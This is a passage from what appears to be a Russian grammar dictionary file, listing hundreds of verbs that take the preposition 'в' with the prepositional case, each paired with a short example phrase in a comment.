нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в 